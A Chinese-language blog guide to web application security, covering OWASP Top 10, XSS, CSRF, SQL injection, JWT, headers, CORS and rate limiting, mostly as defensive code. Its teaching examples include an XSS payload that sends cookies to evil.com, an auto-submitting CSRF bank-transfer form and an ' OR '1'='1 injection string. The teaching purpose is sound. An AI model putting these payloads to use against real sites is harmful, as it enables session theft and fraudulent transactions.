DevToolBox免费
博客

Web安全指南:OWASP Top 10、XSS、CSRF、SQL注入和最佳实践

14 分钟阅读作者 DevToolBox

Web 应用安全已不再是可选项。根据 IBM 统计,2023 年数据泄露的平均成本为 445 万美元,随着应用复杂度的提升,攻击面也在不断扩大,开发者必须从第一天起就将安全视为核心关注点。本指南涵盖 OWASP Top 10 漏洞、常见攻击手段以及可立即实施的实用防御措施。

TL;DR — 安全快速参考

OWASP Top 10 列出了最关键的 Web 应用安全风险。XSS 通过输出编码和 CSP 防御。CSRF 通过 SameSite Cookie 和 CSRF 令牌缓解。SQL 注入通过参数化查询阻止。密码使用 bcrypt/Argon2,全站 HTTPS,严格安全响应头,定期审计依赖项。

核心要点

  • 始终使用参数化查询或预处理语句——绝不将用户输入直接拼接到 SQL 中。
  • 实现 Content Security Policy (CSP) 响应头以防止 XSS 攻击。
  • 对状态变更请求结合使用 SameSite=Strict/Lax Cookie 和 CSRF 令牌。
  • 使用 bcrypt(成本因子 12+)或 Argon2id 哈希密码——绝不明文存储,不使用 MD5/SHA-1。
  • 使用 RS256 或 EdDSA 签名 JWT——绝不使用 "none" 算法。
  • 启用 HSTS、X-Frame-Options、X-Content-Type-Options 和 Referrer-Policy 响应头。
  • 每次 CI 构建时运行 npm audit、Snyk 或 Dependabot。
  • 对认证端点实施限流,防止暴力破解和凭证填充攻击。

OWASP Top 10(2021 版)

Open Web Application Security Project (OWASP) 每隔几年发布一次包含 10 个最关键 Web 应用安全风险的列表。2021 年版新增了三个类别并重新排序优先级。

#类别描述
A01A01:访问控制失效从第 5 名升至第 1 名,访问控制失效意味着用户可以在其预期权限之外进行操作。包括绕过访问检查、查看其他用户数据、权限提升和元数据操纵。94% 的被测应用存在某种形式的访问控制失效。
A02A02:加密机制失效原名"敏感数据泄露",该类别聚焦于导致数据泄露的加密失效。包括明文传输数据、弱加密算法(MD5、SHA-1、DES)和不当的密钥管理。
A03A03:注入当不可信数据作为命令或查询的一部分发送给解释器时,就会发生 SQL、NoSQL、OS 命令、LDAP 等注入漏洞。攻击者可利用注入访问未授权数据、执行命令,甚至危及整个系统。
A04A04:不安全设计2021 年新增类别,聚焦于设计和架构层面的缺陷。这与实现层面的漏洞不同。安全设计需要威胁建模、安全设计模式和参考架构,不只是安全编码。
A05A05:安全配置错误最常见的问题 — 90% 的应用都存在某种配置错误。缺少安全加固、启用不必要功能、默认凭证、过度详细的错误信息和缺少安全响应头都属于此类。
A06A06:自带缺陷和过时的组件使用已知漏洞的组件(库、框架、模块)。现在包括已知 CVE 和未监控的组件。Log4Shell(CVE-2021-44228)展示了单个库漏洞如何影响数百万应用。
A07A07:身份验证和认证失效原名"身份认证破坏"。包括允许弱密码、缺少 MFA、不当的会话管理和凭证填充漏洞。攻击者可以利用从数据泄露中获取的数十亿泄露凭证对进行攻击。
A08A08:软件和数据完整性失效2021 年新增类别,涵盖不保护完整性的代码和基础设施。包括不安全的 CI/CD 流水线、无签名验证的自动更新和不可信数据的反序列化。
A09A09:安全日志和监控失效没有日志和监控就无法检测到攻击。该类别涵盖日志不足、缺少告警、未监控的日志和不可操作的日志消息。没有适当监控的情况下,大多数入侵需要数月才能被发现。
A10A10:服务端请求伪造 (SSRF)2021 年新增。当 Web 应用在未验证用户提供的 URL 的情况下获取远程资源时,就会发生 SSRF 漏洞。攻击者可利用 SSRF 扫描内网、访问云元数据端点(AWS IMDS)或访问内部服务。

跨站脚本 (XSS)

XSS 是最普遍的漏洞之一,影响数百万网站。当攻击者将恶意脚本注入到发送给其他用户的内容中时就会发生。成功的 XSS 攻击可以窃取会话令牌、重定向用户、篡改网站或安装键盘记录器。

XSS 类型

反射型 XSS

恶意脚本嵌入 URL 并从服务器响应中反射出来。受害者必须点击精心构造的链接。常见于搜索结果页面和错误消息。

存储型 XSS(持久型)

恶意脚本存储在服务器上(数据库、文件系统),并提供给每个查看受影响内容的用户。这更危险,因为除访问页面外不需要任何用户交互。常见于评论系统、个人资料字段和用户生成内容。

基于 DOM 的 XSS

漏洞存在于客户端代码中。DOM 被攻击者控制的数据修改。服务器永远不会看到有效载荷。常见于读取 location.hash、document.referrer 或 localStorage 的 JavaScript。

XSS 防御策略

输出编码

将不可信数据插入 HTML 前始终进行编码。使用上下文适当的编码:HTML 内容使用 HTML 实体编码,JS 上下文使用 JavaScript 编码,URL 使用 URL 编码。

不安全 — 直接插入
// DANGEROUS: Raw user input in HTML
const name = req.query.name;
res.send('<h1>Hello ' + name + '</h1>');

// Attacker input:
// ?name=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
安全 — 输出编码
// SAFE: Use a trusted escaping library
import { escape } from 'html-escaper';

const name = escape(req.query.name);
res.send('<h1>Hello ' + name + '</h1>');

// Output: &lt;script&gt;... (harmless)

安全的 DOM API

优先使用 textContent 而非 innerHTML。使用 createElement 和 setAttribute 而不是构建 HTML 字符串。必须使用 innerHTML 时,用 DOMPurify 净化输入。

// DANGEROUS: innerHTML with user data
element.innerHTML = userInput;

// SAFE: textContent (no HTML parsing)
element.textContent = userInput;

// SAFE: createElement API
const span = document.createElement('span');
span.textContent = userInput;
container.appendChild(span);

// SAFE with sanitization: DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);

// React is safe by default (JSX auto-escapes)
return <p>{userInput}</p>; // Safe
// But dangerouslySetInnerHTML is not:
return <div dangerouslySetInnerHTML={{__html: userInput}} />; // DANGER

内容安全策略

CSP 是一种浏览器安全机制,限制页面可以加载哪些资源。强有力的 CSP 策略即使在其他防御失败时也能防止 XSS。

# Strong CSP header (Next.js / Express)
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-{RANDOM_NONCE}';
  style-src 'self' 'nonce-{RANDOM_NONCE}';
  img-src 'self' data: https:;
  font-src 'self';
  connect-src 'self' https://api.yourapp.com;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  upgrade-insecure-requests;

# Next.js: generate per-request nonce
// middleware.ts
import { NextRequest, NextResponse } from 'next/server';
import crypto from 'crypto';

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString('base64');
  const csp = [
    "default-src 'self'",
    "script-src 'self' 'nonce-" + nonce + "'",
    "style-src 'self' 'nonce-" + nonce + "'",
    "frame-ancestors 'none'",
  ].join('; ');
  const response = NextResponse.next();
  response.headers.set('Content-Security-Policy', csp);
  response.headers.set('x-nonce', nonce);
  return response;
}

跨站请求伪造 (CSRF)

CSRF 攻击诱使已认证用户提交他们不打算提交的请求。恶意网站可以使用户的浏览器向用户已登录的另一个网站发送请求。服务器看到的是带有有效会话 Cookie 的看似合法的请求。

CSRF 工作原理

该攻击利用浏览器自动在跨域请求中包含 Cookie 的行为。攻击者托管一个带有隐藏表单或 img 标签的页面,向目标网站发送请求。用户的浏览器包含其会话 Cookie,服务器处理该请求。

<!-- Attacker's malicious page (evil.com) -->
<html>
<body onload="document.forms[0].submit()">
  <form action="https://bank.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker_account" />
    <input type="hidden" name="amount" value="1000" />
  </form>
</body>
</html>

<!-- If the user is logged into bank.com and visits evil.com,
     the browser auto-submits with the user's session cookie.
     bank.com processes it as a legitimate request. -->

CSRF 防御

SameSite Cookie

SameSite Cookie 属性控制跨站请求时是否发送 Cookie。SameSite=Strict 阻止所有跨站 Cookie 发送。SameSite=Lax 允许顶级导航中的 Cookie。这是最简单最有效的 CSRF 防御。

// Express.js: Set SameSite cookie
app.use(session({
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,   // No JS access
    secure: true,     // HTTPS only
    sameSite: 'lax',  // CSRF protection
    maxAge: 3600000,  // 1 hour
  },
}));

// SameSite values:
// 'strict' - Never sent in cross-site requests (breaks OAuth flows)
// 'lax'    - Sent in safe cross-site navigation (GET links) only
// 'none'   - Always sent (requires Secure=true)

CSRF 令牌

为每个用户会话生成唯一的不可预测令牌。在所有状态变更表单和 AJAX 请求中包含此令牌。在处理请求前在服务端验证令牌。

// Server: Generate and verify CSRF token
import crypto from 'crypto';

// Generate token on session creation
function generateCSRFToken(): string {
  return crypto.randomBytes(32).toString('hex');
}

// Middleware to verify token
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
  if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(req.method)) {
    const token = req.headers['x-csrf-token'] || req.body._csrf;
    const sessionToken = req.session.csrfToken;
    if (!token || !sessionToken || token !== sessionToken) {
      return res.status(403).json({ error: 'CSRF token invalid' });
    }
  }
  next();
}

// Client: Include token in requests
// Fetch API
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'X-CSRF-Token': getCSRFTokenFromCookie(),
  },
  body: JSON.stringify({ amount: 100, to: 'alice' }),
});

SQL 注入

SQL 注入仍然是最危险的漏洞之一,允许攻击者读取敏感数据、修改数据库内容、执行管理员操作,在某些配置中甚至可以执行 OS 命令。尽管广为人知,它仍然出现在 OWASP Top 10 中。

SQL 注入工作原理

当用户输入直接拼接到 SQL 查询中时,攻击者可以修改查询结构。通过注入 SQL 语法,他们可以绕过身份验证、从其他表提取数据或删除整个数据库。

不安全 — SQL 拼接
// DANGEROUS: Direct concatenation
const username = req.body.username;
const query = "SELECT * FROM users "
  + "WHERE username = '" + username + "'";

// Attack input:
// username = ' OR '1'='1
// Result query:
// SELECT * FROM users WHERE username = ''
//   OR '1'='1'
// Returns ALL users!
安全 — 参数化查询
// SAFE: Parameterized query (node-postgres)
const username = req.body.username;
const result = await pool.query(
  'SELECT * FROM users WHERE username = $1',
  [username]  // Passed separately
);

// Attack input is treated as literal data:
// SELECT * FROM users WHERE username = ?
// Param: ' OR '1'='1
// Returns 0 rows (no such username)

ORM 保护

现代 ORM(如 Prisma、TypeORM、Sequelize、Hibernate)默认对标准操作使用参数化查询。避免使用原始查询方法,并注意 orderBy 子句(可能未被参数化)。

// Prisma (safe by default)
const user = await prisma.user.findUnique({
  where: { email: userInput },  // Safe
});

// Prisma raw query — be careful!
// DANGEROUS:
const results = await prisma.$queryRawUnsafe(
  'SELECT * FROM users WHERE email = ' + userEmail
);

// SAFE with tagged template:
const results = await prisma.$queryRaw`
  SELECT * FROM users WHERE email = ${userEmail}
`;

// TypeORM — safe with QueryBuilder:
const user = await userRepository
  .createQueryBuilder('user')
  .where('user.email = :email', { email: userInput })
  .getOne();

// ORDER BY — user controls sort column? Use whitelist!
const ALLOWED_SORT_COLUMNS = ['name', 'email', 'createdAt'];
const sortColumn = ALLOWED_SORT_COLUMNS.includes(req.query.sort)
  ? req.query.sort : 'createdAt';
// Now safe to use in ORDER BY

身份验证安全

身份验证是应用的大门。弱身份验证是数据泄露的主要原因之一。本节涵盖密码安全、MFA 和会话管理。

密码哈希

绝不明文存储密码,也不使用快速通用哈希函数(MD5、SHA-1、SHA-256)。使用专用密码哈希算法,这些算法故意设计得缓慢且内存密集。OWASP 推荐 Argon2id 作为首选。

// Node.js: bcrypt (battle-tested, widely used)
import bcrypt from 'bcryptjs';

// Hashing (on registration/password change)
const COST_FACTOR = 12; // ~250ms on modern hardware
const hash = await bcrypt.hash(plaintextPassword, COST_FACTOR);
await db.users.update({ passwordHash: hash }, { where: { id: userId } });

// Verification (on login)
const isValid = await bcrypt.compare(plaintextPassword, storedHash);
if (!isValid) {
  // Constant-time comparison prevents timing attacks
  throw new AuthError('Invalid credentials');
}

// Node.js: Argon2id (OWASP primary recommendation)
import argon2 from 'argon2';

const hash = await argon2.hash(plaintextPassword, {
  type: argon2.argon2id,
  memoryCost: 19456,  // 19 MiB
  timeCost: 2,        // 2 iterations
  parallelism: 1,     // 1 thread
});

const isValid = await argon2.verify(storedHash, plaintextPassword);

// Speed comparison (attacker perspective, GPU RTX 4090):
// MD5:      ~25 billion hashes/sec  <- Never use
// SHA-256:  ~10 billion hashes/sec  <- Never use
// bcrypt:   ~50,000 hashes/sec      <- Acceptable
// Argon2id: ~1,000 hashes/sec       <- Best

多因素认证

MFA 在密码之外增加第二层认证。使用 Google Authenticator 或 Authy 等应用实现 TOTP(基于时间的一次性密码)。对高安全性应用考虑使用硬件安全密钥(FIDO2/WebAuthn)。

// TOTP (Time-based OTP) with otplib
import { authenticator } from 'otplib';

// Setup: Generate secret for new user
const secret = authenticator.generateSecret(); // 'JBSWY3DPEHPK3PXP'
const otpAuthUrl = authenticator.keyuri(
  userEmail,
  'YourApp',
  secret
);
// Show otpAuthUrl as QR code for user to scan
// Store secret (encrypted) in database

// Verification: Check TOTP code at login
const isValidOTP = authenticator.verify({
  token: req.body.totpCode,
  secret: user.totpSecret,
});
if (!isValidOTP) {
  throw new AuthError('Invalid OTP code');
}

会话管理

生成至少 128 位熵的加密随机会话 ID。在认证后重新生成会话 ID。设置适当的过期时间。在注销时使会话失效并实施空闲超时。

// Secure session configuration (Express + Redis)
import session from 'express-session';
import RedisStore from 'connect-redis';
import { createClient } from 'redis';

const redisClient = createClient();
await redisClient.connect();

app.use(session({
  store: new RedisStore({ client: redisClient }),
  secret: process.env.SESSION_SECRET!, // 64+ random bytes
  name: '__Host-session',   // __Host- prefix enforces HTTPS + path=/
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,         // No document.cookie access
    secure: true,           // HTTPS only
    sameSite: 'lax',        // CSRF protection
    maxAge: 60 * 60 * 1000, // 1 hour
  },
}));

// Regenerate session ID after login (prevents session fixation)
req.session.regenerate((err) => {
  if (err) throw err;
  req.session.userId = user.id;
  req.session.roles = user.roles;
});

JWT 安全

JSON Web Token 广泛用于无状态认证,但经常被错误配置。单个 JWT 安全错误可能允许攻击者伪造令牌并冒充任何用户。

JWT 关键安全风险

  • alg: none将算法设为 "none" 完全绕过签名验证
  • Algorithm Confusion攻击者将 RS256 降级为 HS256,用公钥作为 HMAC 密钥
  • Weak secretsHS256 需要至少 256 位密钥,避免可猜测的密钥
  • No expiration没有 exp 声明的令牌永远有效

算法安全

始终在服务端指定并验证签名算法。"alg: none" 攻击绕过验证。算法混淆攻击将 RS256 降级为 HS256。使用 RS256、ES256 或 EdDSA 进行非对称签名。

// Node.js: Using jsonwebtoken library
import jwt from 'jsonwebtoken';
import fs from 'fs';

// INSECURE: HS256 with weak secret
const token = jwt.sign({ userId: 123 }, 'secret'); // NEVER do this

// SECURE: RS256 with key pair
const privateKey = fs.readFileSync('./private.pem');
const publicKey = fs.readFileSync('./public.pem');

// Sign (auth server)
const token = jwt.sign(
  {
    sub: userId,
    roles: user.roles,
    iss: 'https://auth.yourapp.com',
    aud: 'https://api.yourapp.com',
  },
  privateKey,
  {
    algorithm: 'RS256', // Asymmetric — verify with public key only
    expiresIn: '15m',   // Short-lived access token
  }
);

// Verify (resource server)
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'], // Whitelist — prevents algorithm confusion
  issuer: 'https://auth.yourapp.com',
  audience: 'https://api.yourapp.com',
});

// NEVER accept 'none' algorithm:
// algorithms: ['RS256'] explicitly blocks it

过期时间和刷新令牌

为访问令牌设置较短的过期时间(15-60 分钟)。使用较长生命周期的刷新令牌安全存储(HttpOnly Cookie)。实现刷新令牌轮换以检测盗窃。

// Refresh token pattern with rotation
interface Tokens {
  accessToken: string;   // Short-lived: 15 minutes
  refreshToken: string;  // Long-lived: 7 days (stored in Redis)
}

async function refreshTokens(refreshToken: string): Promise<Tokens> {
  // 1. Check refresh token exists and is not revoked
  const stored = await redis.get('refresh:' + refreshToken);
  if (!stored) throw new Error('Refresh token invalid or expired');

  const { userId, rotationVersion } = JSON.parse(stored);

  // 2. Revoke old refresh token (rotation)
  await redis.del('refresh:' + refreshToken);

  // 3. Issue new token pair
  const newRefreshToken = crypto.randomBytes(40).toString('hex');
  await redis.set(
    'refresh:' + newRefreshToken,
    JSON.stringify({ userId, rotationVersion: rotationVersion + 1 }),
    { EX: 7 * 24 * 60 * 60 } // 7 days
  );

  const accessToken = jwt.sign({ sub: userId }, privateKey, {
    algorithm: 'RS256',
    expiresIn: '15m',
  });

  return { accessToken, refreshToken: newRefreshToken };
}

安全响应头

安全响应头是指示浏览器启用安全机制的 HTTP 响应头。它们提供纵深防御,以最小的实施工作量防御常见攻击。

响应头推荐值作用
Content-Security-Policydefault-src 'self'; script-src 'self' 'nonce-{n}'控制浏览器允许加载哪些资源。防止 XSS、数据注入攻击和点击劫持。对内联脚本使用 nonce 或 hash 而非 unsafe-inline。
Strict-Transport-Securitymax-age=31536000; includeSubDomains; preloadHSTS 告诉浏览器始终为您的域名使用 HTTPS。这防止 SSL 剥离攻击和协议降级攻击。使用至少一年的 max-age(31536000 秒)并包含子域名。
X-Frame-OptionsDENY防止您的页面被其他网站的 iframe 嵌入。缓解点击劫持攻击。使用 DENY 或 SAMEORIGIN。CSP frame-ancestors 是现代替代方案。
X-Content-Type-Optionsnosniff防止浏览器 MIME 嗅探响应。设置为 "nosniff" 强制浏览器遵守声明的 Content-Type。防止依赖混淆浏览器文件类型的攻击。
Referrer-Policystrict-origin-when-cross-origin控制请求中包含多少引用来源信息。使用 "strict-origin-when-cross-origin" 防止向第三方泄露完整 URL,同时保留分析数据。
Permissions-Policycamera=(), microphone=(), geolocation=()控制哪些浏览器功能(摄像头、麦克风、地理位置)可以使用。限制应用不需要的功能,减少攻击面。
// Express.js: Set all security headers
import helmet from 'helmet';

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],  // Add nonce in middleware
      styleSrc: ["'self'"],
      imgSrc: ["'self'", 'data:', 'https:'],
      connectSrc: ["'self'"],
      frameAncestors: ["'none'"],
      baseUri: ["'self'"],
      formAction: ["'self'"],
    },
  },
  hsts: {
    maxAge: 31536000,
    includeSubDomains: true,
    preload: true,
  },
  frameguard: { action: 'deny' },
  noSniff: true,
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}));

// Nginx: Security headers block
# add_header Content-Security-Policy
#   "default-src 'self'; frame-ancestors 'none'" always;
# add_header Strict-Transport-Security
#   "max-age=31536000; includeSubDomains; preload" always;
# add_header X-Frame-Options DENY always;
# add_header X-Content-Type-Options nosniff always;
# add_header Referrer-Policy strict-origin-when-cross-origin always;

CORS 配置

跨域资源共享 (CORS) 控制哪些源可以访问您的 API。错误配置的 CORS 可能允许恶意网站代表您的用户向您的 API 发出经过认证的请求。

来源白名单

当涉及凭据时,绝不使用通配符 (*) 作为来源。维护一个明确的允许来源白名单。在发送 Access-Control-Allow-Origin 之前,根据此白名单验证 Origin 头。

// Express: CORS with origin validation
import cors from 'cors';

const ALLOWED_ORIGINS = [
  'https://app.yoursite.com',
  'https://www.yoursite.com',
  ...(process.env.NODE_ENV === 'development'
    ? ['http://localhost:3000']
    : []),
];

app.use(cors({
  origin: (origin, callback) => {
    // Allow requests with no origin (mobile apps, curl, server-to-server)
    if (!origin) return callback(null, true);

    if (ALLOWED_ORIGINS.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,     // Allow cookies (requires explicit origin)
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
  allowedHeaders: ['Content-Type', 'Authorization', 'X-CSRF-Token'],
  maxAge: 86400,          // Cache preflight for 24 hours
}));

限流和 DDoS 防护

限流防止对 API 端点的滥用。没有它,攻击者可以暴力破解密码、抓取数据、轰炸端点并压垮基础设施。

限流策略

// Express: Rate limiting with express-rate-limit + Redis
import rateLimit from 'express-rate-limit';
import RedisStore from 'rate-limit-redis';

// Global API rate limit
const apiLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100,                  // 100 requests per window
  standardHeaders: 'draft-7',
  legacyHeaders: false,
  store: new RedisStore({ sendCommand: (...args) => redis.sendCommand(args) }),
  message: { error: 'Too many requests, please try again later.' },
});

// Strict login rate limit (prevent brute-force)
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 5,                    // 5 attempts per window
  skipSuccessfulRequests: true, // Only count failures
  message: { error: 'Too many failed login attempts. Try again in 15 minutes.' },
});

// Password reset: prevent enumeration + abuse
const resetLimiter = rateLimit({
  windowMs: 60 * 60 * 1000, // 1 hour
  max: 3,
});

app.use('/api/', apiLimiter);
app.post('/api/auth/login', loginLimiter, loginHandler);
app.post('/api/auth/forgot-password', resetLimiter, resetHandler);

依赖安全

现代应用依赖数百甚至数千个第三方包。每个依赖项都是潜在的攻击面。供应链攻击(如 SolarWinds 漏洞)已经表明,受信任的包也可能被攻陷。

自动化漏洞扫描

在 CI 流水线中运行 npm audit、yarn audit 或 pnpm audit。集成 Snyk、Dependabot 或 GitHub Dependabot 以在发现漏洞时自动创建拉取请求。设置使构建失败的严重性阈值。

# Run in CI — fail on high/critical vulnerabilities
npm audit --audit-level=high

# GitHub Actions: Add Dependabot
# .github/dependabot.yml
version: 2
updates:
  - package-ecosystem: npm
    directory: /
    schedule:
      interval: weekly
    open-pull-requests-limit: 10
    labels:
      - dependencies
      - security

# GitHub Actions: Snyk security scan
- name: Run Snyk security scan
  uses: snyk/actions/node@master
  with:
    args: --severity-threshold=high
  env:
    SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

锁定文件

始终提交锁定文件(package-lock.json、yarn.lock、pnpm-lock.yaml)。锁定文件确保可重现的构建并防止依赖混淆攻击。在 CI/CD 中使用 npm ci 而非 npm install。

CVSS 漏洞评分

通用漏洞评分系统 (CVSS) 提供了一种标准化的方式,在 0 到 10 的范围内对安全漏洞的严重性进行评级。

评分范围严重级别响应时间示例
9.0 – 10.0严重立即(24h内)Log4Shell, Heartbleed, Spring4Shell
7.0 – 8.9高危7天内RCE、SQL 注入、身份验证绕过
4.0 – 6.9中危30天内XSS、CSRF、敏感数据泄露
0.1 – 3.9低危90天内信息泄露、低影响 DoS
0.0按需计划无安全影响

安全测试

安全测试应集成到软件开发生命周期的每个阶段,而不只是在部署前进行一次。

静态分析 (SAST)

SAST 工具在不执行代码的情况下分析源代码。工具包括 Semgrep、ESLint 安全插件、SonarQube 和 CodeQL。集成到 IDE 和 CI 流水线中以获得即时反馈。

动态分析 (DAST)

DAST 工具从外部测试运行中的应用程序。OWASP ZAP 和 Burp Suite 是流行的选择。在 CI 中针对暂存环境运行 DAST。捕获 XSS、注入和身份验证绕过等漏洞。

渗透测试

安全专业人员定期进行渗透测试提供全面的评估。使用 OWASP 测试指南等结构化方法。考虑漏洞赏金计划以进行持续的安全评估。

HTTPS 和 TLS

HTTPS 加密客户端和服务器之间的所有通信。没有它,会话令牌、凭证和敏感数据对网络攻击者是可见的。HTTPS 已不再是可选项,而是基准要求。

HTTP 严格传输安全 (HSTS)

HSTS 告诉浏览器始终为您的域名使用 HTTPS。这防止 SSL 剥离攻击和协议降级攻击。使用至少一年的 max-age(31536000 秒)并包含子域名。

# Nginx: Enable HSTS
server {
  listen 443 ssl http2;
  server_name yourapp.com www.yourapp.com;

  # HSTS: 1 year, include subdomains, preload
  add_header Strict-Transport-Security
    "max-age=31536000; includeSubDomains; preload" always;

  # Redirect all HTTP to HTTPS
  # (In a separate server block)
}

server {
  listen 80;
  server_name yourapp.com www.yourapp.com;
  return 301 https://$host$request_uri;
}

# TLS configuration best practices
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:...;
ssl_prefer_server_ciphers off;  # TLS 1.3 client preference
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m;
ssl_stapling on;  # OCSP stapling
ssl_stapling_verify on;

常见问题

Q1: 身份验证和授权的区别是什么?

身份验证验证你是谁(例如,用户名和密码检查)。授权确定你被允许做什么(例如,检查你是否有访问资源的权限)。两者都必须正确实现 — 没有授权的身份验证意味着所有用户可以访问所有资源,没有身份验证的授权意味着无法知道是谁在发出请求。

Q2: HTTPS 足以保护 Web 应用程序吗?

HTTPS 加密传输中的数据,但单独来看是不够的。你还需要:输入验证和输出编码以防止注入攻击、适当的身份验证和会话管理、对每个请求的授权检查、安全响应头、依赖项扫描和定期安全测试。HTTPS 防止网络窃听和中间人攻击,但不能防止应用层漏洞。

Q3: 如何在 ORM 中防止 SQL 注入?

大多数 ORM(Prisma、TypeORM、Sequelize、Hibernate)默认对标准操作使用参数化查询。但你必须注意:原始查询方法(可以传递字符串模板)、用户输入决定排序列的 orderBy 或 orderByRaw 子句,以及动态列选择。始终使用 ORM 的安全 API 传递值,并对 ORDER BY 或 GROUP BY 子句中使用的用户输入进行白名单验证。

Q4: JWT 访问令牌中应该存储什么?

在访问令牌中只存储必要的最小声明:用户 ID、角色/权限、过期时间(exp)、签发时间(iat)和签发者(iss)。绝不在 JWT 中存储密码、完整个人信息或财务数据等敏感数据。记住,JWT 有效载荷是 base64 编码的,不是加密的 — 除非使用 JWE(JSON Web 加密),否则任何拥有令牌的人都可以读取。

Q5: 如何处理安全事件和漏洞披露?

在 /.well-known/security.txt 设置一个包含负责任披露政策和联系信息的 security.txt 文件。当漏洞被报告时:24 小时内确认,72 小时内修复严重漏洞,7 天内修复高危漏洞,向报告者传达进度,并考虑对重大漏洞进行 CVE 分配。考虑漏洞赏金计划以持续吸引研究人员。

Q6: XSS 和 CSRF 的区别是什么?

XSS(跨站脚本)将恶意脚本注入到您的页面中,在其他用户的浏览器中运行 — 攻击通过您的网站针对用户。CSRF(跨站请求伪造)诱使用户的浏览器向您的网站发出意外请求 — 攻击通过用户的浏览器针对您的网站。XSS 从目标网站的角度破坏了同源策略;CSRF 利用浏览器在跨域请求中包含凭证的行为。

Q7: 我应该自己实现密码学吗?

几乎从不。密码学原语极难正确实现。即使是经验丰富的密码学家也会犯错。使用经过良好审计、广泛部署的库:浏览器中的 Web Crypto API、低级需求的 libsodium、密码哈希的 bcrypt/Argon2 库和经过实战验证的 TLS 库。原则是"不要自己实现密码学"(DYOR)。如果你真的需要自定义密码学原语,你需要正式的安全审计。

Q8: 如何在生产环境中安全存储 API 密钥和机密?

绝不在源代码中硬编码机密或将其提交到版本控制中。使用机密管理解决方案:HashiCorp Vault、AWS Secrets Manager、Google Secret Manager 或 Azure Key Vault。对于容器,在运行时将机密注入为环境变量。尽可能使用自动轮换的短期凭证。审计机密访问日志。对于开发,使用 .env 文件(绝不提交),并使用 dotenv-vault 等工具进行团队共享。

安全清单摘要

  • 参数化查询防止 SQL 注入
  • CSP + 输出编码防止 XSS
  • SameSite Cookie + CSRF 令牌
  • Argon2id/bcrypt 密码哈希
  • RS256 签名 JWT,15 分钟过期
  • 全套安全响应头(helmet.js)
  • HTTPS + HSTS(含预加载)
  • CI 中自动化依赖扫描
  • 认证端点限流
  • 完整的安全日志和监控告警
𝕏 Twitterin LinkedIn
这篇文章有帮助吗?

保持更新

获取每周开发技巧和新工具通知。

无垃圾邮件,随时退订。

试试这些相关工具

#Hash GeneratorB→Base64 EncoderJWTJWT Decoder

相关文章

Node.js指南:后端开发完整教程

掌握Node.js后端开发。涵盖事件循环、Express.js、REST API、JWT认证、数据库集成、Jest测试、PM2部署和Node.js vs Deno vs Bun对比。

API测试:cURL、Supertest和k6完整指南

掌握API测试的完整指南。含HTTP方法、cURL、fetch/axios、Postman/Newman、supertest、Python httpx、Mock服务器、契约测试、k6负载测试和OpenAPI文档。